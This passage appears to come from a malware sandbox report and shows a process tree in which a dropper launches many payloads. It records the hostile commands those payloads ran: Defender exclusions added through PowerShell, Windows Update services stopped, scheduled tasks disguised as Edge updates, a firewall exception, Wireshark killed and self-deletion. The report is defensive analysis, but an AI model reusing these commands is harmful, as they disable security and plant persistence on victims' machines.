        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2376 /prefetch:2
        5⤵
        
        PID:4540
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2260 /prefetch:2
        5⤵
        
        PID:3404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2200 /prefetch:2
        5⤵
        
        PID:3976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2164 /prefetch:2
        5⤵
        
        PID:2308
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2164 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4480 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:8
        5⤵
        
        PID:2624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GIEHJKEBAAEB" & exit
      4⤵
      PID:1472
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:780
- - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4696
  - - C:\ProgramData\dllhost.exe
      "C:\ProgramData\dllhost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      PID:4944
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:3300
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:3584
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2948
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:2296
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2988
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3356
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:1696
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:4660
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:760
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:1792
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:1896
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1008
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:4692
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:680
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1828
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:4220
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:2084
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:416
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:4216
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:904
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2348
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4836
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:896
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2284
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:2496
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:2064
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4800
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:1968
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:4312
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        
        PID:3936
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4472
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:3448
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2020
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:1676
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4704
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1520
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:656
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:4728
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1564
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:5000
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1560
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1864
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:3596
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:1512
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3280
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:5292
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:5864
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5564
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:6056
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:3664
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:3372
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5136
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2148
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:956
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
        5⤵
        
        PID:6996
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1932
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f im Wireshark.exe
        5⤵
        Kills process with taskkill
        
        PID:10744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2640
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 5
        5⤵
        
        PID:1792
- - C:\Users\Admin\AppData\Local\Temp\Files\clip.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\clip.exe"
    3⤵
    - Executes dropped EXE
    PID:4252
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 1268
      4⤵
      Program crash
      PID:3476
- - C:\Users\Admin\AppData\Local\Temp\Files\GREENpackage.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\GREENpackage.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4272
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      4⤵
      PID:3616
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      4⤵
      PID:4120
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1084
      4⤵
      Program crash
      PID:3288
- - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetWindowsHookEx
    PID:900
- - C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2580
- - C:\Users\Admin\AppData\Local\Temp\Files\langla.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\langla.exe"
    3⤵
    - Executes dropped EXE
    PID:4824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"' & exit
      4⤵
      PID:5012
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"'
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1EA.tmp.bat""
      4⤵
      PID:1816
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2040
    - - C:\Users\Admin\AppData\Roaming\http.exe
        
        "C:\Users\Admin\AppData\Roaming\http.exe"
        5⤵
        Executes dropped EXE
        
        PID:4224
- - C:\Users\Admin\AppData\Local\Temp\Files\zzzz1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\zzzz1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:1400
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3756
- - C:\Users\Admin\AppData\Local\Temp\Files\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:452
  - - C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe
      "C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:2128
    - - C:\Users\Admin\AppData\Local\Temp\ARA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ARA.exe"
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:4540
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"
        6⤵
        
        PID:2220
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "
        7⤵
        
        PID:3572
        
        C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe
        
        "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        
        PID:1960
        
        C:\Recovery\WindowsRE\winlogon.exe
        
        "C:\Recovery\WindowsRE\winlogon.exe"
        9⤵
        Executes dropped EXE
        
        PID:4636
- - C:\Users\Admin\AppData\Local\Temp\Files\Meeting.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Meeting.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5068
- - C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
    3⤵
    - Executes dropped EXE
    PID:572
- - C:\Users\Admin\AppData\Local\Temp\Files\t2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1268
  - - C:\Windows\sysklnorbcv.exe
      C:\Windows\sysklnorbcv.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: SetClipboardViewer
      PID:5012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:4960
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3840
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        5⤵
        
        PID:3192
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:2880
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:1804
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:3380
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:5064
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        6⤵
        Launches sc.exe
        
        PID:2932
    - - C:\Users\Admin\AppData\Local\Temp\146064981.exe
        
        C:\Users\Admin\AppData\Local\Temp\146064981.exe
        5⤵
        Executes dropped EXE
        
        PID:1900
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:2400
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:2132
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:860
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3596
    - - C:\Users\Admin\AppData\Local\Temp\478229728.exe
        
        C:\Users\Admin\AppData\Local\Temp\478229728.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3912
    - - C:\Users\Admin\AppData\Local\Temp\2233122421.exe
        
        C:\Users\Admin\AppData\Local\Temp\2233122421.exe
        5⤵
        Executes dropped EXE
        
        PID:2132
    - - C:\Users\Admin\AppData\Local\Temp\566219085.exe
        
        C:\Users\Admin\AppData\Local\Temp\566219085.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5264
- - C:\Users\Admin\AppData\Local\Temp\Files\WindowsUI.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\WindowsUI.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:2704
- - C:\Users\Admin\AppData\Local\Temp\Files\dayum.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\dayum.exe"
    3⤵
    - Executes dropped EXE
    PID:1288
  - - C:\Users\Admin\AppData\Local\Temp\server.exe
      "C:\Users\Admin\AppData\Local\Temp\server.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2492
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3152
- - C:\Users\Admin\AppData\Local\Temp\Files\build555.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\build555.exe"
    3⤵
    - Executes dropped EXE
    PID:1564
- - C:\Users\Admin\AppData\Local\Temp\Files\Authenticator.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Authenticator.exe"
    3⤵
    - Executes dropped EXE
    PID:3164
- - C:\Users\Admin\AppData\Local\Temp\Files\Armanivenntii_crypted_EASY.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Armanivenntii_crypted_EASY.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:2000
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
      4⤵
      PID:4820
- - C:\Users\Admin\AppData\Local\Temp\Files\DRIVEapplet.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\DRIVEapplet.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:1484
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      PID:2756
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 468
        5⤵
        Program crash
        
        PID:2936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 464
        5⤵
        Program crash
        
        PID:2892
- - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
    3⤵
    - Executes dropped EXE
    PID:2940
- - C:\Users\Admin\AppData\Local\Temp\Files\service.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\service.exe"
    3⤵
    - Executes dropped EXE
    PID:4040
- - C:\Users\Admin\AppData\Local\Temp\Files\connector1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\connector1.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2676
- - C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe"
    3⤵
    - Executes dropped EXE
    PID:2032
  - - C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4728
- - C:\Users\Admin\AppData\Local\Temp\Files\Prototype.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Prototype.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4512
- - C:\Users\Admin\AppData\Local\Temp\Files\winrar-x64-701.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\winrar-x64-701.exe"
    3⤵
    - Executes dropped EXE
    PID:4272
  - - C:\Users\Admin\AppData\Local\Temp\winrar-info.exe
      "C:\Users\Admin\AppData\Local\Temp\winrar-info.exe"
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Enumerates system info in registry
      PID:4744
  - - C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe
      "C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe"
      4⤵
